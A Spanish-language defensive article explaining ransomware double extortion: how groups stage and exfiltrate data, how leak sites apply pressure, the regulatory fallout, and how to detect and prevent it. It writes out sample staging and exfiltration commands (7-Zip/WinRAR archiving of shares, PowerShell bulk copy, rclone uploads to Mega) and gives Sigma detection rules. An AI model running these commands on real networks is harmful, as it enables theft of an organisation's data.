Doble Extorsión: Cómo el Ransomware Moderno Roba tus Datos Antes de Cifrarlos
Análisis técnico de la doble y triple extorsión en ransomware. Cómo los grupos exfiltran datos antes del cifrado, qué herramientas usan, cómo operan los leak sites y qué impacto tiene para las víctimas. Técnicas de detección de exfiltración.
De una extorsión a cuatro: la evolución de la presión
Hasta noviembre de 2019, el ransomware operaba con un modelo simple: cifrar archivos y pedir rescate por la clave de descifrado. Si la víctima tenía backups, restauraba y no pagaba. El atacante perdía el tiempo invertido.
El grupo Maze cambió las reglas. En noviembre de 2019, tras cifrar la red de Allied Universal (empresa de seguridad con 200.000 empleados), publicaron 700 MB de datos robados en un sitio web propio cuando la empresa se negó a pagar. El mensaje fue claro: pagar solo por el descifrado ya no era suficiente. Ahora también pagabas por el silencio.
En menos de un año, prácticamente todos los grupos de ransomware adoptaron la doble extorsión. Para 2025, según Coveware, más del 85% de los ataques de ransomware incluyen exfiltración de datos como segunda palanca de presión.
Los cuatro niveles de extorsión
| Nivel | Táctica | Primera aparición | Adopción actual |
|---|---|---|---|
| Simple | Cifrar archivos, pedir rescate | CryptoLocker, 2013 | Minoritaria |
| Doble | Exfiltrar datos + cifrar. Amenazar con publicar | Maze, noviembre 2019 | Más del 85% |
| Triple | Doble + DDoS o contacto a clientes/socios | Avaddon, SunCrypt, 2020 | 15-20% |
| Cuádruple | Triple + notificación a reguladores o medios | BlackCat/ALPHV, 2023 | Emergente |
Cronología: cómo se normalizó la doble extorsión
| Fecha | Evento |
|---|---|
| Nov 2019 | Maze publica datos de Allied Universal. Crea el primer "leak site" dedicado |
| Dic 2019 | Sodinokibi/REvil anuncia su propio leak site "Happy Blog" |
| Ene 2020 | DoppelPaymer, Nemty, Nefilim adoptan doble extorsión |
| Mar 2020 | Maze crea el "Maze Cartel": alianza con LockBit y RagnarLocker para compartir leak site |
| Jun 2020 | Avaddon añade DDoS como tercera capa de presión (triple extorsión) |
| Oct 2020 | SunCrypt amenaza con llamar a clientes de las víctimas |
| Nov 2020 | Maze se disuelve. El modelo que creó se ha convertido en estándar |
| 2021 | Conti, LockBit 2.0, Hive, BlackMatter: todos con doble extorsión nativa |
| 2022-2023 | Cl0p ataca MOVEit: exfiltración masiva SIN cifrado. Solo extorsión por datos |
| 2023 | BlackCat/ALPHV presenta queja ante la SEC contra víctima que no reportó el breach |
| 2024-2025 | Doble extorsión es el estándar. Algunos grupos abandonan el cifrado por completo |
El caso de Cl0p y MOVEit (2023) marcó una evolución significativa: exfiltración masiva sin cifrar nada. Cl0p explotó CVE-2023-34362 en MOVEit Transfer para robar datos de cientos de organizaciones, y publicó las víctimas en su leak site sin ejecutar ransomware. La extorsión fue puramente por los datos robados.
El proceso de exfiltración: paso a paso
Fase 1: identificación de datos de alto valor
Los operadores de ransomware no exfiltran todo. Seleccionan datos que maximizan la presión sobre la víctima:
| Categoría de datos | Por qué tiene valor | Impacto si se publica |
|---|---|---|
| Datos de clientes (PII) | Obligaciones GDPR/NIS2. Multas regulatorias | Multas hasta 4% del revenue global, demandas colectivas |
| Datos financieros | Información sensible de negocio | Ventaja competitiva perdida, impacto en cotización |
| Contratos y acuerdos legales | Cláusulas de confidencialidad | Litigios por breach de NDA, pérdida de socios |
| Propiedad intelectual | Código fuente, patentes, diseños | Competidores acceden a IP, pérdida de ventaja |
| Datos médicos (PHI) | HIPAA, regulación sanitaria | Multas severas, demandas individuales |
| Credenciales y certificados | Acceso a sistemas adicionales | Compromisos secundarios, cadena de suministro |
| Comunicaciones internas | Emails, chats, documentos internos | Embarazo público, conflictos internos expuestos |
Fase 2: staging (preparación para la exfiltración)
Los datos seleccionados se copian a una ubicación central en la red de la víctima antes de exfiltrarlos:
Patron tipico:
1. Crear directorio temporal: C:\ProgramData\temp\ o C:\Users\Public\
2. Copiar archivos seleccionados al staging directory
3. Comprimir con 7-Zip o WinRAR (a veces con password)
4. Dividir en partes de 100-500 MB para subida por chunks
Comandos habituales:
# Compresion con 7-Zip
7z.exe a -mx=3 C:\ProgramData\data.7z C:\Finance\ C:\HR\ C:\Legal\
# Compresion con WinRAR en partes de 200 MB
rar.exe a -v200m -hp[password] C:\ProgramData\exfil.rar C:\Shares\Confidential\
# PowerShell para copiar archivos selectivos
Get-ChildItem -Path \\fileserver\shares -Recurse -Include *.pdf,*.xlsx,*.docx,*.sql |
Where-Object { $_.Length -gt 1KB } |
Copy-Item -Destination C:\ProgramData\staging\
Fase 3: exfiltración
Los datos comprimidos se transfieren fuera de la red de la víctima. Las herramientas y métodos más comunes:
| Herramienta | Tipo | Destino típico | Detección |
|---|---|---|---|
| Rclone | Sincronización cloud | Mega.nz, pCloud, Backblaze B2, Wasabi | Proceso rclone.exe, flags --transfers, conexiones a APIs cloud |
| MegaSync / MEGAcmd | Cliente Mega.nz | mega.nz | Proceso megasync.exe, tráfico a g.api.mega.co.nz |
| FileZilla | FTP/SFTP | Servidores controlados por el atacante | Proceso filezilla.exe, conexiones FTP/SFTP salientes |
| WinSCP | SCP/SFTP | Servidores controlados | Proceso winscp.exe, conexiones SSH salientes |
| cURL / wget | HTTP POST | Servidores C2 o cloud | Comandos curl/wget con upload de archivos grandes |
| Cobalt Strike | C2 channel | Servidor C2 del atacante | Tráfico beacon, named pipes |
| StealBit (LockBit) | Tool propietaria | Infraestructura LockBit | Binario desconocido, conexiones a IPs LockBit |
| ExMatter (BlackMatter/BlackCat) | Tool propietaria | Infraestructura del grupo | SFTP hacia IPs específicas |
| Exbyte (BlackByte) | Tool propietaria | Mega.nz | Subida automatizada a Mega |
Rclone: la herramienta favorita
Rclone merece mención especial por su prevalencia. Es una herramienta legítima de sincronización cloud (open source, usada por sysadmins). Los atacantes la prefieren porque:
- Soporta docenas de proveedores cloud (Mega, pCloud, Google Drive, AWS S3, Azure Blob)
- Permite transferencias paralelas y reanudación tras interrupciones
- Es un binario legítimo que muchos EDRs no bloquean por defecto
- Se configura con un archivo de texto (
rclone.conf) que contiene las credenciales del servicio cloud
Detección de Rclone:
# Indicadores en linea de comando
rclone.exe copy C:\staging\ mega:exfil/ --transfers 8 --bwlimit 50M
rclone.exe sync \\fileserver\shares remote:dump --include "*.{pdf,xlsx,docx}"
# Indicadores en red
Conexiones a: g.api.mega.co.nz, eapi.pcloud.com, api.backblazeb2.com
Volumen de upload anomalo (gigabytes en horario no laboral)
Abuso de servicios cloud legítimos
Una tendencia creciente es usar servicios cloud corporativos legítimos para la exfiltración:
- Google Drive / OneDrive: si la víctima usa Microsoft 365 o Google Workspace, el atacante puede instalar el cliente de sincronización con credenciales robadas y sincronizar datos a una cuenta controlada
- Dropbox: transferencias que se mezclan con tráfico legítimo de la empresa
- AWS S3: si hay credenciales de AWS en la red, crear un bucket en otra cuenta y copiar datos
Esta técnica es especialmente difícil de detectar porque el tráfico va a dominios legítimos que no se pueden bloquear sin romper operaciones de la empresa.
Leak sites: anatomía de un sitio de filtraciones
Cómo operan
Los leak sites son sitios web en la red Tor (.onion) donde los grupos de ransomware publican información sobre sus víctimas. Funcionan como una combinación de escaparate público y mecanismo de presión.
Estructura típica de un leak site:
- Página principal: lista de víctimas con nombre, sector, país y fecha
- Countdown timer: reloj que cuenta hacia atrás hasta la publicación de datos
- Partial leak: muestra de archivos robados como prueba (capturas de pantalla de documentos, listados de directorios, fragmentos de bases de datos)
- Full dump: descarga completa de los datos robados (disponible tras expirar el countdown si no se paga)
- Archivo: víctimas anteriores cuyos datos ya fueron publicados
Psicología del countdown
El countdown timer es una herramienta de presión psicológica calculada:
- Countdown inicial: 7-14 días típicamente. Suficiente para que la víctima evalúe el daño y contacte al grupo
- Partial leak: a los 3-5 días se publica una muestra para demostrar que los datos son reales. Frecuentemente incluyen documentos con nombres de clientes, nóminas o contratos
- Extension: si la víctima está negociando, el countdown puede pausarse o extenderse
- Publicación: si la víctima no paga, los datos completos se publican para descarga
Leak sites notables (2024-2025)
| Grupo | Nombre del leak site | Características |
|---|---|---|
| LockBit | "LockBit Blog" | Ranking de afiliados, estadísticas de víctimas. Incautado en Operation Cronos (feb 2024) |
| BlackCat/ALPHV | "ALPHV Leaks" | Interfaz sofisticada, búsqueda por sector. Exit scam marzo 2024 |
| Cl0p | "CL0P^_- LEAKS" | Publicación masiva de víctimas MOVEit. Cientos de entradas en 2023 |
| Black Basta | Leak site dedicado | Publicación regular, principalmente sector industrial y sanitario |
| Play | "PLAY NEWS" | Diseño minimalista, foco en empresas europeas |
| RansomHub | RansomHub Blog | Emergente en 2024, absorbió afiliados de ALPHV |
| Medusa | Medusa Blog | Vídeos de datos robados como presión adicional |
Searchable leak sites
Algunos grupos han ido más allá de publicar archivos para descarga. BlackCat/ALPHV creó sitios web donde los datos robados eran buscables: empleados de la víctima podían buscar su propio nombre para ver qué datos personales se habían exfiltrado. Esta táctica presiona a los empleados individuales para que presionen a su empresa para que pague.
Impacto de la publicación de datos
Impacto regulatorio
La publicación de datos personales en un leak site constituye un data breach bajo las principales regulaciones:
| Regulación | Ámbito | Consecuencias |
|---|---|---|
| GDPR (UE) | Datos personales de ciudadanos UE | Multa hasta 20M EUR o 4% del revenue global. Notificación a autoridad en 72 horas. Notificación a afectados "sin dilación indebida" |
| NIS2 (UE) | Entidades esenciales e importantes (17 sectores) | Multas hasta 10M EUR o 2% del revenue. Requisitos de notificación en 24h (alerta inicial) y 72h (informe detallado) |
| HIPAA (EEUU) | Datos de salud (PHI) | Multas hasta 1,5M USD por categoría de violación |
| CCPA/CPRA (California) | Datos personales de residentes de California | Multas 2.500-7.500 USD por registro |
| LOPDGDD (España) | Datos personales en España | Multas hasta 20M EUR, alineado con GDPR |
Impacto reputacional
Más allá de las multas, la publicación de datos tiene consecuencias de negocio:
- Pérdida de clientes: clientes cuyos datos fueron expuestos migran a competidores
- Pérdida de socios: empresas B2B reconsideran relaciones con proveedores que sufrieron breaches
- Impacto en cotización: empresas cotizadas experimentan caídas de 3-7% en las semanas posteriores a un breach público
- Litigios: demandas colectivas (class action) por parte de afectados
- Coste de remediación: notificación a afectados, servicios de monitorización de crédito, consultoría legal
Impacto legal: el caso ALPHV vs MeridianLink
En noviembre de 2023, BlackCat/ALPHV presentó una queja formal ante la SEC (Securities and Exchange Commission) de Estados Unidos contra MeridianLink, alegando que la empresa no había reportado el breach como exigen las nuevas reglas de la SEC. Fue la primera vez que un grupo de ransomware usó un regulador como arma contra su víctima.
Este movimiento marcó un precedente: los grupos de ransomware están dispuestos a usar los propios marcos regulatorios contra las víctimas para aumentar la presión.
Triple extorsión: más allá de cifrado y datos
DDoS como tercera capa
Varios grupos han añadido ataques de denegación de servicio distribuido (DDoS) como tercera capa de presión:
- Avaddon (2020): primer grupo en combinar ransomware + exfiltración + DDoS de forma sistemática
- SunCrypt (2020): DDoS contra el sitio web público de la víctima durante la negociación
- REvil (2021): ofreció DDoS como servicio adicional a sus afiliados
El DDoS tiene un objetivo específico: impedir que la víctima opere normalmente mientras decide si pagar. Si la empresa está caída por el cifrado Y su sitio web está bajo DDoS, la presión para pagar rápido aumenta.
Contacto directo con terceros
La táctica más agresiva: contactar directamente a clientes, empleados o socios de la víctima cuyos datos fueron robados:
- Emails a clientes: "Sus datos personales fueron robados de [empresa]. Si [empresa] no paga, sus datos serán publicados."
- Llamadas telefónicas: algunos grupos han llamado a la centralita de la víctima amenazando con publicar datos
- Contacto con medios de comunicación: enviar muestras de datos a periodistas para generar cobertura mediática
Notificación a reguladores
Como demostró el caso ALPHV/MeridianLink, los grupos de ransomware están dispuestos a notificar a reguladores (SEC, ICO, AEPD, CNIL) sobre breaches no reportados. Esto convierte la inacción regulatoria de la víctima en una vulnerabilidad adicional.
Cuádruple extorsión y tácticas emergentes
Las tácticas de presión siguen evolucionando:
Ataques a clientes directos: en vez de solo amenazar con publicar datos de clientes, atacar directamente a los clientes de la víctima usando credenciales robadas durante el breach. Esto convierte un ataque a una empresa en un ataque a toda su cadena de valor.
Extorsión sin cifrado: la tendencia iniciada por Cl0p con MOVEit. Robar datos y extorsionar sin ejecutar ransomware. Ventajas para el atacante: menos detección (no hay cifrado masivo que active alertas), menos evidencia forense, y la presión regulatoria es la misma.
Insider threat creation: algunos grupos han intentado reclutar empleados de las víctimas ofreciéndoles un porcentaje del rescate a cambio de facilitar el acceso o retrasar la respuesta al incidente.
Venta de datos a competidores: aunque no documentado de forma verificable, varios grupos han amenazado con vender propiedad intelectual (código fuente, patentes, fórmulas) a competidores de la víctima en vez de publicarla gratuitamente.
Detección de exfiltración: estrategias
Monitorización de red
| Indicador | Descripción | Herramienta |
|---|---|---|
| Volumen de egress anómalo | Gigabytes de datos saliendo en horario no laboral | NDR, NetFlow, firewall |
| Destinos inusuales | Conexiones a IPs/dominios no habituales en el baseline | SIEM, proxy logs |
| Servicios cloud no corporativos | Conexiones a mega.nz, pcloud.com, transfer.sh desde endpoints corporativos | Proxy, DNS logs |
| Protocolo inusual | FTP/SFTP/SCP desde workstations que normalmente no lo usan | Firewall, NDR |
| Conexiones largas | Sesiones TCP de horas con transferencia de datos sostenida | NDR, NetFlow |
Detección en endpoint
| Indicador | Descripción | Herramienta |
|---|---|---|
| Proceso Rclone | rclone.exe, rclone.conf en disco | EDR, Sysmon |
| Proceso MegaSync | megasync.exe, megacmd.exe | EDR |
| 7-Zip/WinRAR masivo | Compresión de archivos en directorio staging | EDR, file monitoring |
| PowerShell con Copy-Item masivo | Scripts que copian miles de archivos a una ubicación | PowerShell logging |
| Acceso masivo a shares de red | Un solo usuario leyendo miles de archivos de múltiples shares | File audit logs (Event ID 4663) |
Reglas de detección
Regla Sigma para detección de Rclone:
title: Rclone Execution for Data Exfiltration
status: stable
logsource:
category: process_creation
product: windows
detection:
selection_process:
Image|endswith:
- '\rclone.exe'
CommandLine|contains:
- 'copy'
- 'sync'
- 'move'
selection_cloud:
CommandLine|contains:
- 'mega'
- 'pcloud'
- 'ftp'
- 'sftp'
- 's3'
- 'b2'
condition: selection_process and selection_cloud
level: high
tags:
- attack.exfiltration
- attack.t1567
Regla Sigma para staging con compresión:
title: Suspicious Archive Creation in Staging Directory
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\7z.exe'
- '\7za.exe'
- '\rar.exe'
- '\WinRAR.exe'
CommandLine|contains:
- 'ProgramData'
- 'Users\Public'
- 'Temp'
filter:
User|contains: 'SYSTEM'
condition: selection and not filter
level: medium
tags:
- attack.collection
- attack.t1560.001
Data Loss Prevention (DLP)
Las soluciones DLP pueden detectar exfiltración si están configuradas para monitorizar:
- Contenido sensible: números de tarjetas de crédito, números de seguridad social, datos de salud
- Volumen: alertar cuando un usuario descarga o transfiere más de N GB en un período
- Destino: bloquear o alertar en transferencias a servicios de almacenamiento cloud no aprobados
- Clasificación: archivos marcados como "Confidencial" o "Restringido" que se mueven fuera de la red
Prevención: reducir la superficie de exfiltración
Segmentación de red
La medida más efectiva es limitar qué puede salir de la red:
- Egress filtering: bloquear todo tráfico saliente por defecto y permitir solo destinos necesarios (allowlist)
- Proxy obligatorio: forzar todo tráfico HTTP/HTTPS a pasar por un proxy con inspección SSL
- Bloqueo de cloud storage: bloquear acceso a mega.nz, pcloud.com, transfer.sh, etc. desde la red corporativa
- Segmentación interna: los servidores de archivos y bases de datos no deberían poder conectarse directamente a Internet
Clasificación de datos
Saber dónde están los datos sensibles antes de un ataque:
- Inventario de datos críticos: dónde están, quién tiene acceso, cuál es su clasificación
- Etiquetado automático con herramientas DLP
- Principio de mínimo privilegio: no todos los usuarios necesitan acceso a todos los shares
Monitorización de acceso a archivos
- Habilitar auditoría de acceso a archivos en file servers (Event ID 4663)
- Alertar en patrones de acceso masivo: un usuario que lee miles de archivos en minutos no es comportamiento normal
- Honeypots de archivos: colocar documentos señuelo ("Salarios_2026.xlsx", "Contratos_Confidenciales.pdf") en shares sensibles y alertar cuando se accede a ellos
Lo que viene después
Este artículo ha cubierto la doble extorsión desde la operativa de exfiltración hasta el impacto regulatorio. La serie continúa con el análisis detallado de las familias de ransomware más relevantes: Conti (y sus leaks que revelaron la estructura interna de un grupo de ransomware), LockBit (el programa RaaS más prolífico hasta su disrupción), y BlackCat/ALPHV (la primera familia major en Rust con innovaciones en extorsión).
Fuentes y referencias
- Coveware. "Quarterly Ransomware Report Q4 2024." Coveware by Veeam, 2025.
- CISA. "Stop Ransomware: Understanding Ransomware Data Exfiltration." CISA, 2024.
- Mandiant. "M-Trends 2025 Report." Google Cloud Security, 2025.
- ENISA. "ENISA Threat Landscape 2024." European Union Agency for Cybersecurity, 2024.
- Sophos. "The State of Ransomware 2025." Sophos, 2025.
- BleepingComputer. "Maze Ransomware Releases Files Stolen from Allied Universal." November 2019.
- The Record. "ALPHV Ransomware Files SEC Complaint Against MeridianLink." November 2023.
- CrowdStrike. "2024 Global Threat Report." CrowdStrike, 2024.
- SEC. "SEC Adopts Rules on Cybersecurity Risk Management, Strategy, Governance, and Incident Disclosure." July 2023.
- Progress Software. "MOVEit Transfer Critical Vulnerability (CVE-2023-34362)." 2023.
- SigmaHQ. "Sigma Rules for Ransomware Detection." https://github.com/SigmaHQ/sigma
- Red Canary. "2024 Threat Detection Report." Red Canary, 2024.
- Chainalysis. "The 2024 Crypto Crime Report." Chainalysis, 2024.
- GDPR. Regulation (EU) 2016/679. Official Journal of the European Union.
- NIS2 Directive. Directive (EU) 2022/2555. Official Journal of the European Union.
Preguntas frecuentes
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